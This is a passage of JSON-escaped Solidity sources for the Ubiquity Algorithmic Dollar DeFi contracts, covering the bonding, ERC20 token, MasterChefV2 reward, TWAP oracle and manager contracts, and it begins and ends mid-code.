(bonding.totalLP() + totalLpToMigrate);\\n uint256 curAccLpRewardPerShare = accLpRewardPerShare;\\n // if new rewards we should calculate the new curAccLpRewardPerShare\\n if (currentLpRewards > lpRewards) {\\n uint256 newLpRewards = currentLpRewards - lpRewards;\\n curAccLpRewardPerShare =\\n accLpRewardPerShare +\\n ((newLpRewards * 1e12) /\\n IMasterChefV2(manager.masterChefAddress())\\n .totalShares());\\n }\\n // we multiply the shares amount by the accumulated lpRewards per share\\n // and remove the lp Reward Debt\\n return\\n (bs[0] * (curAccLpRewardPerShare)) /\\n (1e12) -\\n (bond.lpRewardDebt);\\n }\\n return 0;\\n }\\n\\n function pause() public virtual onlyPauser {\\n _pause();\\n }\\n\\n function unpause() public virtual onlyPauser {\\n _unpause();\\n }\\n\\n /// @dev migrate let a user migrate from V1\\n /// @notice user will then be able to migrate\\n function migrate() public whenMigrating returns (uint256 _id) {\\n _id = toMigrateId[msg.sender];\\n require(_id > 0, \\\"not v1 address\\\");\\n\\n _migrate(\\n _toMigrateOriginals[_id - 1],\\n _toMigrateLpBalances[_id - 1],\\n _toMigrateWeeks[_id - 1]\\n );\\n }\\n\\n /// @dev return the amount of Lp token rewards an amount of shares entitled\\n /// @param amount of bonding shares\\n /// @param lpRewardDebt lp rewards that has already been distributed\\n function lpRewardForShares(uint256 amount, uint256 lpRewardDebt)\\n public\\n view\\n returns (uint256 pendingLpReward)\\n {\\n if (accLpRewardPerShare > 0) {\\n pendingLpReward =\\n (amount * accLpRewardPerShare) /\\n 1e12 -\\n (lpRewardDebt);\\n }\\n }\\n\\n function currentShareValue() public view returns (uint256 priceShare) {\\n uint256 totalShares = IMasterChefV2(manager.masterChefAddress())\\n .totalShares();\\n // priceShare = totalLP / totalShares\\n priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice(\\n BondingShareV2(manager.bondingShareAddress()).totalLP(),\\n totalShares,\\n ONE\\n );\\n }\\n\\n /// @dev migrate let a user migrate from V1\\n /// @notice user will then be able to migrate\\n function _migrate(\\n address user,\\n uint256 _lpsAmount,\\n uint256 _weeks\\n ) internal returns (uint256 _id) {\\n require(toMigrateId[user] > 0, \\\"not v1 address\\\");\\n require(_lpsAmount > 0, \\\"LP amount is zero\\\");\\n require(\\n 1 <= _weeks && _weeks <= 208,\\n \\\"Duration must be between 1 and 208 weeks\\\"\\n );\\n\\n // unregister address\\n toMigrateId[user] = 0;\\n\\n // calculate the amount of share based on the amount of lp deposited and the duration\\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\\n .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier);\\n\\n // update the accumulated lp rewards per shares\\n _updateLpPerShare();\\n // calculate end locking period block number\\n uint256 endBlock = block.number + _weeks * blockCountInAWeek;\\n _id = _mint(user, _lpsAmount, _sharesAmount, endBlock);\\n // reduce the total LP to migrate after the minting\\n // to keep the _updateLpPerShare calculation consistent\\n totalLpToMigrate -= _lpsAmount;\\n // set masterchef for uGOV rewards\\n IMasterChefV2(manager.masterChefAddress()).deposit(\\n user,\\n _sharesAmount,\\n _id\\n );\\n\\n emit Migrated(user, _id, _lpsAmount, _sharesAmount, _weeks);\\n }\\n\\n /// @dev update the accumulated excess LP per share\\n function _updateLpPerShare() internal {\\n BondingShareV2 bond = BondingShareV2(manager.bondingShareAddress());\\n uint256 lpBalance = IERC20(manager.stableSwapMetaPoolAddress())\\n .balanceOf(address(this));\\n // the excess LP is the current balance\\n // minus the total deposited LP + LP that needs to be migrated\\n uint256 totalShares = IMasterChefV2(manager.masterChefAddress())\\n .totalShares();\\n if (\\n lpBalance >= (bond.totalLP() + totalLpToMigrate) && totalShares > 0\\n ) {\\n uint256 currentLpRewards = lpBalance -\\n (bond.totalLP() + totalLpToMigrate);\\n\\n // is there new LP rewards to be distributed ?\\n if (currentLpRewards > lpRewards) {\\n // we calculate the new accumulated LP rewards per share\\n accLpRewardPerShare =\\n accLpRewardPerShare +\\n (((currentLpRewards - lpRewards) * 1e12) / totalShares);\\n\\n // update the bonding contract lpRewards\\n lpRewards = currentLpRewards;\\n }\\n }\\n }\\n\\n function _mint(\\n address to,\\n uint256 lpAmount,\\n uint256 shares,\\n uint256 endBlock\\n ) internal returns (uint256) {\\n uint256 _currentShareValue = currentShareValue();\\n require(\\n _currentShareValue != 0,\\n \\\"Bonding: share value should not be null\\\"\\n );\\n // set the lp rewards debts so that this bonding share only get lp rewards from this day\\n uint256 lpRewardDebt = (shares * accLpRewardPerShare) / 1e12;\\n return\\n BondingShareV2(manager.bondingShareAddress()).mint(\\n to,\\n lpAmount,\\n lpRewardDebt,\\n endBlock\\n );\\n }\\n\\n function _checkForLiquidity(uint256 _id)\\n internal\\n returns (uint256[2] memory bs, BondingShareV2.Bond memory bond)\\n {\\n require(\\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\\n msg.sender,\\n _id\\n ) == 1,\\n \\\"Bonding: caller is not owner\\\"\\n );\\n BondingShareV2 bonding = BondingShareV2(manager.bondingShareAddress());\\n bond = bonding.getBond(_id);\\n require(\\n block.number > bond.endBlock,\\n \\\"Bonding: Redeem not allowed before bonding time\\\"\\n );\\n\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n bs = IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo(\\n _id\\n );\\n }\\n}\\n\",\"keccak256\":\"0x9c2b4c331b9dc95f5438386fc2dbdd813e411a585aff6294b557a25ab0cda317\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n \\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest = keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x42436613f1f6dbc43e7e2bbd5e0a1c43f4fed2c6f24040b3ded7924e73bae271\",\"license\":\"MIT\"},\"contracts/MasterChefV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity 0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/ITWAPOracle.sol\\\";\\nimport \\\"./BondingShareV2.sol\\\";\\nimport \\\"./interfaces/IUbiquityFormulas.sol\\\";\\n\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\n\\ncontract MasterChefV2 {\\n using SafeERC20 for IERC20Ubiquity;\\n using SafeERC20 for IERC20;\\n\\n // Info of each user.\\n struct BondingShareInfo {\\n uint256 amount; // bonding rights.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n //\\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\\n // entitled to a user but is pending to be distributed is:\\n //\\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\\n //\\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\\n // 2. User receives the pending reward sent to his/her address.\\n // 3. User's `amount` gets updated.\\n // 4. User's `rewardDebt` gets updated.\\n }\\n // Info of each pool.\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\\n }\\n\\n uint256 private _totalShares;\\n\\n // Ubiquity Manager\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // uGOV tokens created per block.\\n uint256 public uGOVPerBlock = 1e18;\\n // Bonus muliplier for early uGOV makers.\\n uint256 public uGOVmultiplier = 1e18;\\n uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000;\\n uint256 public lastPrice = 1 ether;\\n uint256 public uGOVDivider;\\n // Info of each pool.\\n PoolInfo public pool;\\n // Info of each user that stakes LP tokens.\\n mapping(uint256 => BondingShareInfo) private _bsInfo;\\n\\n event Deposit(\\n address indexed user,\\n uint256 amount,\\n uint256 indexed bondingShareId\\n );\\n\\n event Withdraw(\\n address indexed user,\\n uint256 amount,\\n uint256 indexed bondingShareId\\n );\\n\\n // ----------- Modifiers -----------\\n modifier onlyTokenManager() {\\n require(\\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\\n \\\"MasterChef: not UBQ manager\\\"\\n );\\n _;\\n }\\n modifier onlyBondingContract() {\\n require(\\n msg.sender == manager.bondingContractAddress(),\\n \\\"MasterChef: not Bonding Contract\\\"\\n );\\n _;\\n }\\n\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n pool.lastRewardBlock = block.number;\\n pool.accuGOVPerShare = 0; // uint256(1e12);\\n uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury\\n _updateUGOVMultiplier();\\n }\\n\\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\\n uGOVPerBlock = _uGOVPerBlock;\\n }\\n\\n // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury\\n function setUGOVShareForTreasury(uint256 _uGOVDivider)\\n external\\n onlyTokenManager\\n {\\n uGOVDivider = _uGOVDivider;\\n }\\n\\n function setMinPriceDiffToUpdateMultiplier(\\n uint256 _minPriceDiffToUpdateMultiplier\\n ) external onlyTokenManager {\\n minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\\n }\\n\\n // Deposit LP tokens to MasterChef for uGOV allocation.\\n function deposit(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) external onlyBondingContract {\\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\\n _updatePool();\\n if (bs.amount > 0) {\\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\\n bs.rewardDebt;\\n _safeUGOVTransfer(to, pending);\\n }\\n bs.amount += _amount;\\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\\n _totalShares += _amount;\\n emit Deposit(to, _amount, _bondingShareID);\\n }\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) external onlyBondingContract {\\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\\n require(bs.amount >= _amount, \\\"MC: amount too high\\\");\\n _updatePool();\\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\\n bs.rewardDebt;\\n // send UGOV to Bonding Share holder\\n\\n _safeUGOVTransfer(to, pending);\\n bs.amount -= _amount;\\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\\n _totalShares -= _amount;\\n emit Withdraw(to, _amount, _bondingShareID);\\n }\\n\\n /// @dev get pending uGOV rewards from MasterChef.\\n /// @return amount of pending rewards transfered to msg.sender\\n /// @notice only send pending rewards\\n function getRewards(uint256 bondingShareID) external returns (uint256) {\\n require(\\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\\n msg.sender,\\n bondingShareID\\n ) == 1,\\n \\\"MS: caller is not owner\\\"\\n );\\n\\n // calculate user reward\\n BondingShareInfo storage user = _bsInfo[bondingShareID];\\n _updatePool();\\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\\n user.rewardDebt;\\n _safeUGOVTransfer(msg.sender, pending);\\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\\n return pending;\\n }\\n\\n // View function to see pending uGOVs on frontend.\\n function pendingUGOV(uint256 bondingShareID)\\n external\\n view\\n returns (uint256)\\n {\\n BondingShareInfo storage user = _bsInfo[bondingShareID];\\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\\n .totalSupply();\\n\\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\\n uint256 multiplier = _getMultiplier();\\n\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n accuGOVPerShare =\\n accuGOVPerShare +\\n ((uGOVReward * 1e12) / lpSupply);\\n }\\n\\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\\n }\\n\\n /**\\n * @dev get the amount of shares and the reward debt of a bonding share .\\n */\\n function getBondingShareInfo(uint256 _id)\\n external\\n view\\n returns (uint256[2] memory)\\n {\\n return [_bsInfo[_id].amount, _bsInfo[_id].rewardDebt];\\n }\\n\\n /**\\n * @dev Total amount of shares .\\n */\\n function totalShares() external view virtual returns (uint256) {\\n return _totalShares;\\n }\\n\\n // UPDATE uGOV multiplier\\n function _updateUGOVMultiplier() internal {\\n // (1.05/(1+abs(1-TWAP_PRICE)))\\n uint256 currentPrice = _getTwapPrice();\\n\\n bool isPriceDiffEnough = false;\\n // a minimum price variation is needed to update the multiplier\\n if (currentPrice > lastPrice) {\\n isPriceDiffEnough =\\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\\n } else {\\n isPriceDiffEnough =\\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\\n }\\n\\n if (isPriceDiffEnough) {\\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\\n .ugovMultiply(uGOVmultiplier, currentPrice);\\n lastPrice = currentPrice;\\n }\\n }\\n\\n // Update reward variables of the given pool to be up-to-date.\\n function _updatePool() internal {\\n if (block.number <= pool.lastRewardBlock) {\\n return;\\n }\\n _updateUGOVMultiplier();\\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\\n .totalSupply();\\n if (lpSupply == 0) {\\n pool.lastRewardBlock = block.number;\\n return;\\n }\\n uint256 multiplier = _getMultiplier();\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n address(this),\\n uGOVReward\\n );\\n // mint another x% for the treasury\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n manager.treasuryAddress(),\\n uGOVReward / uGOVDivider\\n );\\n pool.accuGOVPerShare =\\n pool.accuGOVPerShare +\\n ((uGOVReward * 1e12) / lpSupply);\\n pool.lastRewardBlock = block.number;\\n }\\n\\n // Safe uGOV transfer function, just in case if rounding\\n // error causes pool to not have enough uGOVs.\\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\\n uint256 uGOVBal = uGOV.balanceOf(address(this));\\n if (_amount > uGOVBal) {\\n uGOV.safeTransfer(_to, uGOVBal);\\n } else {\\n uGOV.safeTransfer(_to, _amount);\\n }\\n }\\n\\n function _getMultiplier() internal view returns (uint256) {\\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\\n }\\n\\n function _getTwapPrice() internal view returns (uint256) {\\n return\\n ITWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n}\\n\",\"keccak256\":\"0x59216bb1932ba4a3651f4e252c4226d3d6f4be5683e0591c47e231e4801c38dd\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (\\n uint256[2] memory priceCumulative,\\n uint256 blockTimestamp\\n ) = _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances = IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x0341b8dcf0f7855cc155fa518c027826fb066239a84e5c0d35381c7d4106e774\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IIncentive.sol\\\";\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\\n /// @notice get associated incentive contract, 0 address if N/A\\n mapping(address => address) public incentiveContract;\\n\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Algorithmic Dollar\\\", \\\"uAD\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @param account the account to incentivize\\n /// @param incentive the associated incentive contract\\n /// @notice only UAD manager can set Incentive contract\\n function setIncentiveContract(address account, address incentive) external {\\n require(\\n ERC20Ubiquity.manager.hasRole(\\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\\n msg.sender\\n ),\\n \\\"Dollar: must have admin role\\\"\\n );\\n\\n incentiveContract[account] = incentive;\\n emit IncentiveContractUpdate(account, incentive);\\n }\\n\\n function _checkAndApplyIncentives(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal {\\n // incentive on sender\\n address senderIncentive = incentiveContract[sender];\\n if (senderIncentive != address(0)) {\\n IIncentive(senderIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on recipient\\n address recipientIncentive = incentiveContract[recipient];\\n if (recipientIncentive != address(0)) {\\n IIncentive(recipientIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on operator\\n address operatorIncentive = incentiveContract[msg.sender];\\n if (\\n msg.sender != sender &&\\n msg.sender != recipient &&\\n operatorIncentive != address(0)\\n ) {\\n IIncentive(operatorIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // all incentive, if active applies to every transfer\\n address allIncentive = incentiveContract[address(0)];\\n if (allIncentive != address(0)) {\\n IIncentive(allIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal override {\\n super._transfer(sender, recipient, amount);\\n _checkAndApplyIncentives(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0xbbde4f7cf669cadae6c303b45c640d12da3cd6e97557c188e2f5cc27b3b7fd4c\",\"license\":\"MIT\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be 